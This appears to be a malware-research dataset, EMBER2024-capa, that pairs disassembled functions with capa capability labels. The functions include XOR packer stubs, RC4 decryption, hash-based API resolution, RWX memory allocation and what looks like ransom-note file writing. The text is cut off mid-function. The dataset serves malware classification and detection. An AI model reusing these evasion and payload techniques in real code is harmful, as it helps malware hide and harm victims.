joyce8/EMBER2024-capa huggingface dataset:
Function at 0x53af10
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov ecx, dword [0x11d9bdc]
mov ecx, dword fs:[ecx]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x53afd4
sub esp, 0x28
mov dword [esp + 0x16], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0
mov byte [esp + 0x16], 0x75
mov byte [esp + 0x17], 0x6e
mov byte [esp + 0x18], 0x6b
mov byte [esp + 0x19], 0x6e
mov byte [esp + 0x1a], 0x6f
mov byte [esp + 0x1b], 0x77
mov byte [esp + 0x1c], 0x6e
mov byte [esp + 0x1d], 0x20
mov byte [esp + 0x1e], 0x74
mov byte [esp + 0x1f], 0x79
mov byte [esp + 0x20], 0x70
mov byte [esp + 0x21], 0x65
mov byte [esp + 0x22], 0x20
mov byte [esp + 0x23], 0x6b
mov byte [esp + 0x24], 0x69
mov byte [esp + 0x25], 0x6e
mov byte [esp + 0x26], 0x64
mov dword [esp], 0
lea eax, [esp + 0x16]
mov dword [esp + 4], eax
mov dword [esp + 8], 0x11
call fcn.0044f940
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], ecx
add esp, 0x28
ret
call fcn.00462b00
jmp fcn.0053af10

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
nop
nop
pop eax
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
jl 0x433030
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219

Function at 0x8003b3f
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
mov dword [0x80043b4], 0x30
mov dword [0x80043bc], 0x8003351
mov dword [0x80043b8], 2
mov dword [0x80043c0], 0
mov dword [0x80043c4], 0
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
jmp 0x8003b82
mov dword [0x80043c8], eax
mov dword [0x80043dc], 0x80041e0
mov dword [0x80043d4], 0xf
mov dword [0x8004102], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x80043cc], eax
mov dword [0x80043e0], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x800410a], ebp
mov dword [0x80043d0], eax
push 0x80043b4
call dword [sym.imp.user32.dll_RegisterClassExA]
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x8004434], eax
push 0
push dword [0x8004102]
push 0
push 0
push 0x1ef
push 0x21c
push 0xffffe688
push 0xfffff524
push 0xcf0000
push str.uno_momento
push str.verba
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x800442c], eax
push 1
push dword [0x800442c]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x800442c]
call dword [sym.imp.user32.dll_UpdateWindow]
jmp 0x8003c40
xor edi, edi
lea ebx, [0x80043e4]
jmp 0x8003c58
push ebx
call dword [sym.imp.user32.dll_TranslateMessage]
push ebx
call dword [sym.imp.user32.dll_DispatchMessageA]
push edi
push edi
push edi
push ebx
call dword [sym.imp.user32.dll_GetMessageA]
test al, al
jne 0x8003c4a
jmp 0x8003c6c
mov eax, dword [0x80043ec]
call fcn.08002ae4
ret
Function at 0x42e002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x42e00c
pop eax
nop
nop
nop
nop
nop
nop
add eax, 0x403ac5
nop
sub eax, 0x403a6b
nop
nop
nop
nop
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x42e030
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x42e01e
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp fcn.00401219

Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..text
nop
nop
mov ebx, 0x40de38
nop
mov ecx, 0x788345a3
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x433024
nop
nop
mov eax, section..data
mov ebx, 0x4304d8
nop
nop
mov ecx, 0x53eb4798
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x433084
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x40a020
Capabilities:
Get common file path
Move file

Disassembly:
sub esp, 0x200
lea eax, [esp]
push 0xff
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
test eax, eax
je 0x40a0cb
push ebx
push esi
lea ecx, [esp + 8]
push edi
push ecx
lea edx, [esp + 0x110]
push 0x40e394
push edx
call dword [sym.imp.msvcrt.dll_sprintf]
mov edi, 0x40e38c
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0xc]
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x210]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
test eax, eax
pop ebx
je 0x40a0b5
lea eax, [esp + 0x100]
lea ecx, [esp]
push eax
push ecx
call dword [sym.imp.msvcrt.dll_rename]
add esp, 8
add esp, 0x200
ret
lea edx, [esp]
lea eax, [esp + 0x100]
push edx
push eax
call dword [sym.imp.msvcrt.dll_rename]
add esp, 8
add esp, 0x200
ret

Function at 0x43b645
Capabilities:
Encode data using xor

Disassembly:
push 0x43b3c1
pop eax
add edx, 0x2ac713ef
add edx, 1
call fcn.0043b68c
and ecx, edx
xor dword [edi], eax
inc edx
dec ecx
inc edi
sub edx, 1
add edx, 0xab07b3f0
mov edx, edx
cmp edi, esi
jne fcn.0043b645
sub ecx, 1
sub ecx, 0x904e3d66
push ecx
mov ecx, dword [esp]
add esp, 4
ret
Function at 0x40108b
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov esi, dword fs:[0x30]
mov esi, dword [esi + 0xc]
mov esi, dword [esi + 0x1c]
mov edx, dword [esi + 8]
mov edi, dword [esi + 0x20]
mov esi, dword [esi]
cmp dword [edi + 0xc], 0x320033
jne 0x40109e
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x4010bb
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
dec eax
push esi
push edi
cmp eax, 0xa
ja case.0x4010ce.7
jmp dword [eax*4 + 0x4011ff]
call fcn.0040108b
jmp 0x4011a2
push 0xc8ac8026
push 1
call fcn.004010bb
pop ecx
pop ecx
push str.ntdll.dll
jmp 0x4011a0
push 0xc8ac8026
push 1
call fcn.004010bb
pop ecx
pop ecx
push str.user32.dll
jmp 0x4011a0
push 0xc8ac8026
push 1
call fcn.004010bb
pop ecx
pop ecx
push str.shell32.dll
jmp 0x4011a0
push 0xc8ac8026
push 1
call fcn.004010bb
pop ecx
pop ecx
push str.advapi32.dll
jmp 0x4011a0
push 0xc8ac8026
push 1
call fcn.004010bb
pop ecx
pop ecx
push str.wininet.dll
jmp 0x4011a0
push 0xc8ac8026
push 1
call fcn.004010bb
pop ecx
pop ecx
push str.gdi32.dll
jmp 0x4011a0
push 0xc8ac8026
push 1
call fcn.004010bb
pop ecx
pop ecx
push str.rpcrt4.dll
jmp 0x4011a0
push 0xc8ac8026
push 1
call fcn.004010bb
pop ecx
pop ecx
push str.mpr.dll
jmp 0x4011a0
push 0xc8ac8026
push 1
call fcn.004010bb
pop ecx
pop ecx
push 0x4111c0
call eax
mov esi, eax
mov eax, dword [esi + 0x3c]
mov edi, dword [eax + esi + 0x78]
add edi, esi
mov dword [ebp - 4], edi
cmp dword [edi + 0x18], 0
je case.0x4010ce.7
push ebx
mov ebx, dword [edi + 0x20]
add ebx, esi
xor edi, edi
mov eax, dword [ebx]
add eax, esi
push eax
call fcn.00401070
pop ecx
cmp eax, dword [ebp + 0xc]
je 0x4011d4
inc edi
add ebx, 4
jmp 0x4011be
mov dword [ebp + 8], edi
mov edi, dword [ebp - 4]
mov ecx, dword [ebp + 8]
pop ebx
mov eax, dword [edi + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + esi]
mov eax, dword [edi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + esi]
add eax, esi
jmp 0x4011f7
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40122b
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
push 3
pop edi
lea eax, [ebx + 2]
xor esi, esi
cdq
idiv edi
mov eax, ebx
and dword [ebp - 0xc], esi
sub eax, edx
push 0x697a6afe
push 1
lea eax, [eax*4 + 8]
cdq
idiv edi
mov dword [ebp - 0x14], eax
call fcn.004010bb
pop ecx
pop ecx
mov ecx, dword [ebp - 0x14]
push 4
push 0x3000
inc ecx
push ecx
push esi
call eax
mov ecx, eax
mov dword [ebp - 0x10], ecx
test ecx, ecx
je 0x4013ad
test ebx, ebx
je 0x4013a3
mov ecx, dword [ebp + 8]
jmp 0x401290
mov ebx, dword [ebp + 0xc]
mov al, byte [ecx]
dec ebx
mov byte [ebp + esi - 4], al
inc esi
mov dh, byte [ebp - 2]
inc ecx
mov dl, byte [ebp - 3]
mov dword [ebp + 0xc], ebx
mov bl, byte [ebp - 4]
mov dword [ebp + 8], ecx
cmp esi, edi
jne 0x401307
mov esi, dword [ebp - 0x10]
mov al, bl
shr al, 2
mov cl, bl
and cl, 3
mov byte [ebp - 8], al
shl cl, 4
mov al, dl
shr al, 4
add cl, al
mov al, dh
mov byte [ebp - 7], cl
mov cl, dl
and cl, 0xf
shr al, 6
shl cl, 2
add cl, al
mov al, dh
and al, 0x3f
mov byte [ebp - 6], cl
mov ecx, dword [ebp - 0xc]
xor edi, edi
mov byte [ebp - 5], al
movzx eax, byte [ebp + edi - 8]
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [esi + ecx], al
inc ecx
inc edi
cmp edi, 4
jl 0x4012e7
push 3
mov dword [ebp - 0xc], ecx
xor esi, esi
mov ecx, dword [ebp + 8]
pop edi
cmp dword [ebp + 0xc], 0
jne 0x40128d
test esi, esi
je 0x4013a3
cmp esi, edi
jge 0x401337
mov eax, edi
lea ecx, [ebp - 4]
sub eax, esi
add ecx, esi
push eax
push 0
push ecx
call fcn.0040c6b0
mov dh, byte [ebp - 2]
add esp, 0xc
mov dl, byte [ebp - 3]
mov bl, byte [ebp - 4]
mov ecx, dword [ebp - 0xc]
mov al, bl
shr al, 2
and bl, 3
mov byte [ebp - 8], al
mov al, dl
shr al, 4
and dl, 0xf
shl bl, 4
add bl, al
shl dl, 2
mov al, dh
mov byte [ebp - 7], bl
shr al, 6
and dh, 0x3f
add dl, al
mov byte [ebp - 5], dh
lea eax, [esi + 1]
mov byte [ebp - 6], dl
mov edx, dword [ebp - 0x10]
xor ebx, ebx
test eax, eax
jle 0x40138e
lea edi, [esi + 1]
movzx eax, byte [ebp + ebx - 8]
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [edx + ecx], al
inc ecx
inc ebx
cmp ebx, edi
jl 0x401377
push 3
pop edi
cmp esi, edi
jge 0x4013a3
sub edi, esi
lea eax, [edx + ecx]
push edi
push 0x3d
push eax
call fcn.0040c6b0
add esp, 0xc
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x14]
mov byte [eax + ecx], 0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40179e
Capabilities:
Encode data using xor

Disassembly:
xor byte [0x418638], 0x10
push esi
mov esi, 0xada
push esi
push 0x413010
push 0x10
push section..data
call fcn.00407731
add esp, 0x10
xor eax, eax
xor byte [eax + 0x413010], 0x10
inc eax
cmp eax, esi
jb 0x4017af
pop esi
ret
Function at 0x401bd7
Capabilities:
Encode data using xor

Disassembly:
ret
cmp ecx, 0x1feff58
js 0x401bb2
pop eax
invalid
jns 0x401bbc
jmp 0x1264204c
add dword [esp], 0x12
loop 0x401bba
call 0x423e8f
add byte [edi + 0x68], dl
sub byte [ecx + eax*2], bh
add byte [edx + 0x10], ch
push 0x413c14
call fcn.00407731
add esp, 0x10
xor esi, esi
mov eax, esi
xor byte [eax + 0x413c28], 5
inc eax
cmp eax, edi
jb 0x401bea
mov edi, 0xba
push edi
push 0x413e60
push 0x10
push 0x413e4c
call fcn.00407731
add esp, 0x10
mov eax, esi
xor byte [eax + 0x413e60], 5
inc eax
cmp eax, edi
jb 0x401c12
mov edi, 0xec3
push edi
push 0x413f30
push 0x10
push 0x413f1c
call fcn.00407731
add esp, 0x10
xor byte [esi + 0x413f30], 5
inc esi
cmp esi, edi
jb 0x401c38
pop edi
pop esi
pop ebx
ret
Function at 0x401c48
Capabilities:
Allocate or change rwx memory
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push ebx
push esi
push edi
mov esi, 0x114
push esi
push 0x413b00
push 0x10
push 0x413af0
call fcn.00407731
add esp, 0x10
xor ebx, ebx
mov eax, ebx
xor byte [eax + 0x413b00], 5
inc eax
cmp eax, esi
jb 0x401c72
lea eax, [ebp - 0xc0]
mov dword [ebp - 0xc0], 0x61d2503f
push eax
mov dword [ebp - 0xbc], 0x6115be4e
mov dword [ebp - 0xb8], 0xaf7b65bc
mov dword [ebp - 0xb4], 0x989a257e
mov dword [ebp - 0xb0], 0x9204b627
mov dword [ebp - 0xac], 0x9204b64b
mov dword [ebp - 0xa8], 0x6fc8b285
mov dword [ebp - 0xa4], 0x1e26fc6a
mov dword [ebp - 0xa0], 0xbceaa511
mov dword [ebp - 0x9c], 0x7cde56a8
mov dword [ebp - 0x98], 0x134a1032
mov dword [ebp - 0x94], 0xaf1af3c4
mov dword [ebp - 0x90], 0x8e345341
mov dword [ebp - 0x8c], 0x76846e52
mov dword [ebp - 0x88], 0x22c22435
mov dword [ebp - 0x84], 0xac5b5bd2
mov dword [ebp - 0x80], 0xb22e5817
mov dword [ebp - 0x7c], 0x46050050
mov dword [ebp - 0x78], 0x2439dbc8
mov dword [ebp - 0x74], 0x6b13fa6b
mov dword [ebp - 0x70], 0x44303979
mov dword [ebp - 0x6c], 0x47511e34
mov dword [ebp - 0x68], 0xfc881dbd
mov dword [ebp - 0x64], 0x6636007c
mov dword [ebp - 0x60], 0x171aaccb
mov dword [ebp - 0x5c], 0xedfbc094
mov dword [ebp - 0x58], 0x868c995f
mov dword [ebp - 0x54], 0x780cbc19
mov dword [ebp - 0x50], 0x4eeb621a
mov dword [ebp - 0x4c], 0x16acf906
mov dword [ebp - 0x48], 0xfe672d32
mov dword [ebp - 0x44], 0xeacf3f26
mov dword [ebp - 0x40], 0xef0fbbba
call fcn.00407713
mov esi, eax
mov dword [ebp - 0x3c], 0x5afc1d2e
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x38], 0x3b111966
push eax
mov dword [ebp - 0x34], 0xf4b718a1
mov dword [ebp - 0x30], 0x2b4c83e2
mov dword [ebp - 0x2c], 0x40854db3
mov dword [ebp - 0x28], 0x40854d97
mov dword [ebp - 0x24], 0x2a246d9b
mov dword [ebp - 0x20], 0x2ddf958a
mov dword [ebp - 0x1c], 0xe806d36b
mov dword [ebp - 0x18], 0xe812a210
mov dword [ebp - 0x14], 0x4cd66fc
mov dword [ebp - 0x10], 0x16384767
mov dword [ebp - 0xc], 0x99ed2ca1
mov dword [ebp - 8], 0x6bf483e5
mov dword [ebp - 4], 0x3281e183
call fcn.00407713
pop ecx
pop ecx
mov edi, eax
mov edx, ebx
mov cl, byte [esi + edx*2]
mov byte [ebp + edx - 0xe8], cl
inc edx
cmp edx, 0x1f
jb 0x401e1b
mov byte [ebp - 0xc9], bl
mov ecx, ebx
mov al, byte [edi + ecx*2]
mov byte [ebp + ecx - 0xc8], al
inc ecx
cmp ecx, 7
jb 0x401e33
lea eax, [ebp - 0x128]
mov byte [ebp - 0xc1], bl
push 0x40
push eax
call fcn.0040c3dc
push 0x40
push 0x100
lea eax, [ebp - 0xe8]
push eax
lea eax, [ebp - 0x128]
push eax
call fcn.00407c84
lea eax, [ebp - 0xc8]
push eax
lea eax, [ebp - 0x128]
push eax
call fcn.00407c66
add esp, 0x20
mov esi, 0x114
push 4
push 0x3000
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push esi
push eax
mov dword [0x418630], eax
lea eax, [ebp - 0x128]
push 0x413b00
push eax
call fcn.00407bb7
add esp, 0x10
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405dfc
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push esi
push edi
push 0x40
mov esi, ecx
xor edi, edi
push 0x3000
push eax
push edi
mov dword [esi + 8], edi
mov dword [esi + 0xc], edi
mov dword [esi], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [esi + 4], edi
mov dword [esi + 8], eax
mov dword [esi + 0xc], eax
mov eax, esi
pop edi
pop esi
pop ebp
ret 4
Function at 0x406e48
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa34
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edi, 0x1106
mov dword [ebp - 0x34], eax
push edi
mov esi, 0x414e08
push esi
push 0x10
push 0x414df8
call fcn.00407731
add esp, 0x10
xor ecx, ecx
mov eax, ecx
xor byte [eax + 0x414e08], 5
inc eax
cmp eax, edi
jb 0x406e7c
mov edi, ecx
mov dword [ebp - 0x30], ecx
cmp word [0x414e08], cx
je 0x406f84
push 2
pop ebx
cmp word [esi], 0x3b
jne 0x406f70
push 0x200
push ecx
lea eax, [ebp - 0x234]
push eax
call fcn.0040c6b0
mov ecx, dword [ebp - 0x30]
mov eax, edi
sub eax, ecx
push eax
lea eax, [ecx*2 + 0x414e08]
push eax
lea eax, [ebp - 0x234]
push eax
call fcn.0040759f
lea eax, [edi + 1]
mov dword [ebp - 0x2c], 0xc5218a93
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x2c]
push eax
mov dword [ebp - 0x28], 0xd3ecbcf0
mov dword [ebp - 0x24], 0x80eb2a88
mov dword [ebp - 0x20], 0xc5c2aabc
mov dword [ebp - 0x1c], 0xee4e2160
mov dword [ebp - 0x18], 0xee4e2174
mov dword [ebp - 0x14], 0x50f85a93
mov dword [ebp - 0x10], 0xfdf1f1de
mov dword [ebp - 0xc], 0xa9ae17f8
mov dword [ebp - 8], 0x58ae1385
mov dword [ebp - 4], 0x57ac2cdd
call fcn.00407713
push 0x800
mov esi, eax
lea eax, [ebp - 0xa34]
push 0
push eax
call fcn.0040c6b0
lea eax, [ebp - 0x234]
push eax
lea eax, [ebp - 0xa34]
push esi
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
lea eax, [ebp - 0xa34]
push eax
lea eax, [ebp - 0x34]
push eax
call fcn.00405e85
add esp, 0x3c
xor ecx, ecx
inc edi
add ebx, 2
lea esi, [edi*2 + 0x414e08]
cmp word [esi], cx
jne 0x406e9d
push ecx
call dword [sym.imp.KERNEL32.dll_ExitThread]

Function at 0x407731
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
push esi
xor esi, esi
push edi
mov eax, esi
mov byte [ebp + eax - 0x104], al
inc eax
cmp eax, 0x100
jb 0x407741
mov edi, esi
xor edx, edx
mov bl, byte [ebp + edi - 0x104]
mov eax, edi
movzx ecx, bl
div dword [ebp + 0xc]
mov eax, dword [ebp + 8]
movzx eax, byte [edx + eax]
add eax, esi
add ecx, eax
movzx esi, cl
mov al, byte [ebp + esi - 0x104]
mov byte [ebp + edi - 0x104], al
inc edi
mov byte [ebp + esi - 0x104], bl
cmp edi, 0x100
jb 0x407752
mov edi, dword [ebp + 0x14]
xor esi, esi
mov ebx, esi
test edi, edi
je 0x4077ef
mov eax, dword [ebp + 0x10]
mov dword [ebp + 0x14], eax
lea eax, [ebx + 1]
movzx ebx, al
mov dl, byte [ebp + ebx - 0x104]
movzx eax, dl
add eax, esi
movzx esi, al
mov al, byte [ebp + esi - 0x104]
mov byte [ebp + ebx - 0x104], al
mov byte [ebp + esi - 0x104], dl
movzx ecx, byte [ebp + ebx - 0x104]
movzx eax, dl
add ecx, eax
mov eax, dword [ebp + 0x14]
movzx ecx, cl
mov cl, byte [ebp + ecx - 0x104]
xor byte [eax], cl
inc eax
mov dword [ebp + 0x14], eax
sub edi, 1
jne 0x4077a0
mov eax, dword [ebp + 0x10]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4077f9
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor esi, esi
mov ebx, esi
mov dword [ebp - 4], esi
cmp dword [ebp + 0x10], ebx
jbe 0x407863
push edi
mov edi, dword [ebp + 8]
inc esi
and esi, 0x800000ff
jns 0x407820
dec esi
or esi, 0xffffff00
inc esi
mov dl, byte [esi + edi]
movzx eax, dl
add ebx, eax
and ebx, 0x800000ff
jns 0x407838
dec ebx
or ebx, 0xffffff00
inc ebx
mov al, byte [ebx + edi]
mov byte [esi + edi], al
mov byte [ebx + edi], dl
movzx ecx, byte [esi + edi]
movzx eax, dl
mov edx, dword [ebp + 0xc]
add ecx, eax
movzx eax, cl
mov ecx, dword [ebp - 4]
mov al, byte [eax + edi]
xor byte [ecx + edx], al
inc ecx
mov dword [ebp - 4], ecx
cmp ecx, dword [ebp + 0x10]
jb 0x40780f
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x407869
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
push edi
mov eax, 0x100
xor edi, edi
push eax
mov dword [ebp - 8], eax
lea eax, [ebp - 0x10c]
push edi
push eax
mov dword [ebp - 0xc], edi
call fcn.0040c6b0
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x10c]
add esp, 0xc
mov ebx, edi
mov edi, dword [ebp + 0xc]
sub esi, eax
xor edx, edx
lea ecx, [ebp - 0x10c]
mov eax, ebx
add ecx, ebx
div dword [ebp + 0x10]
mov byte [esi + ecx], bl
inc ebx
mov al, byte [edx + edi]
mov byte [ecx], al
cmp ebx, 0x100
jl 0x4078a3
mov esi, dword [ebp + 8]
lea ebx, [ebp - 0x10c]
mov edi, dword [ebp - 0xc]
mov ecx, esi
mov dword [ebp - 4], ecx
sub ebx, esi
movsx eax, byte [ebx + ecx]
mov dl, byte [ecx]
add edi, eax
movzx ecx, dl
add edi, ecx
and edi, 0x800000ff
jns 0x4078f3
dec edi
or edi, 0xffffff00
inc edi
mov ecx, dword [ebp - 4]
mov al, byte [edi + esi]
mov byte [ecx], al
inc ecx
sub dword [ebp - 8], 1
mov byte [edi + esi], dl
mov dword [ebp - 4], ecx
jne 0x4078d6
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x407bbc
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push esi
mov esi, dword [ebp + 0x14]
test esi, esi
je 0x407c60
push ebx
mov ebx, dword [ebp + 0x10]
lea ecx, [ebp - 0x44]
mov eax, ebx
sub eax, ecx
mov dword [ebp + 0x14], eax
mov eax, dword [ebp + 0xc]
sub eax, ecx
push edi
mov dword [ebp - 4], eax
push dword [ebp + 8]
lea eax, [ebp - 0x44]
xor edi, edi
push eax
call fcn.00407cf3
mov eax, dword [ebp + 8]
pop ecx
pop ecx
add dword [eax + 0x20], 1
jne 0x407c01
inc dword [eax + 0x24]
cmp esi, 0x40
jbe 0x407c38
mov ebx, dword [ebp - 4]
mov edx, edi
mov edi, dword [ebp + 0x14]
lea ecx, [ebp - 0x44]
add ecx, edx
push 0x40
mov al, byte [ebx + ecx]
xor al, byte [ecx]
inc edx
mov byte [edi + ecx], al
pop eax
cmp edx, eax
jl 0x407c0e
mov ebx, dword [ebp + 0x10]
sub esi, eax
add dword [ebp + 0x14], eax
add ebx, eax
add dword [ebp + 0xc], eax
add dword [ebp - 4], eax
mov dword [ebp + 0x10], ebx
jmp 0x407be5
test esi, esi
je 0x407c5e
mov eax, dword [ebp + 0xc]
lea ecx, [ebp - 0x44]
sub eax, ecx
sub ebx, ecx
mov dword [ebp + 0xc], eax
lea ecx, [ebp - 0x44]
add ecx, edi
mov al, byte [eax + ecx]
xor al, byte [ecx]
inc edi
mov byte [ebx + ecx], al
mov eax, dword [ebp + 0xc]
cmp edi, esi
jb 0x407c49
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x407f69
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
push 0x400
call fcn.0040c65f
mov edi, eax
pop ecx
test edi, edi
je 0x408020
mov eax, dword [0x41863c]
test eax, eax
je 0x407fa5
push eax
push dword [ebp + 8]
lea eax, [edi + 0x200]
push str._s_s_MANUAL.txt
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push ebx
push esi
xor esi, esi
lea eax, [edi + 0x200]
push esi
push esi
push 1
push esi
push esi
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x407ffc
push esi
lea eax, [ebp - 4]
push eax
push dword [0x418624]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
push dword [0x418624]
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.0040c676
mov eax, esi
jmp 0x40801d
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
call ebx
cmp eax, 0x50
je 0x407ff2
call ebx
cmp eax, 5
jne 0x408015
xor esi, esi
inc esi
jmp 0x407ff2
push edi
call fcn.0040c676
xor eax, eax
pop ecx
pop esi
pop ebx
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x408de5
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push ebx
push edi
push 0x410
or ebx, 0xffffffff
call fcn.0040c65f
mov edi, eax
pop ecx
test edi, edi
je 0x408f71
push esi
lea eax, [edi + 0x400]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push 0xe0c
call fcn.0040c65f
mov esi, eax
pop ecx
test esi, esi
je 0x408f69
push 0x78b00c68
push 1
call fcn.004010bb
pop ecx
pop ecx
push 0x100
push esi
call eax
xor eax, eax
lea ecx, [esi + 0x600]
mov word [esi + 6], ax
mov edx, 0x100
push edx
lea eax, [esi + 0x400]
push eax
lea eax, [esi + 0x604]
push eax
lea eax, [esi + 0x608]
push eax
push ecx
push edx
lea eax, [esi + 0x200]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
test eax, eax
je 0x408f62
lea eax, [ebp - 0x38]
mov dword [ebp - 0x38], 0x9ce68b7d
push eax
mov dword [ebp - 0x34], 0xd28b2e87
mov dword [ebp - 0x30], 0xc9fda87a
mov dword [ebp - 0x2c], 0x9d219bde
mov dword [ebp - 0x28], 0x72c9f9ab
mov dword [ebp - 0x24], 0x72c9f98b
mov dword [ebp - 0x20], 0x8f94de6d
mov dword [ebp - 0x1c], 0xbd37fad3
mov dword [ebp - 0x18], 0xf2af6d66
mov dword [ebp - 0x14], 0x99b3b860
mov dword [ebp - 0x10], 0xfd62cd1c
mov dword [ebp - 0xc], 0x96293378
mov dword [ebp - 8], 0xac75cb18
mov dword [ebp - 4], 0x432c0490
call fcn.00407713
mov ecx, eax
lea edx, [esi + 0x600]
movzx eax, word [edi + 0x406]
xor eax, 8
push eax
movzx eax, word [edi + 0x404]
xor eax, 7
push eax
movzx eax, word [edi + 0x402]
xor eax, dword [edx]
xor eax, 6
push eax
movzx eax, word [edi + 0x400]
xor eax, dword [edx]
xor eax, 5
push eax
push dword [ebp + 8]
push ecx
push edi
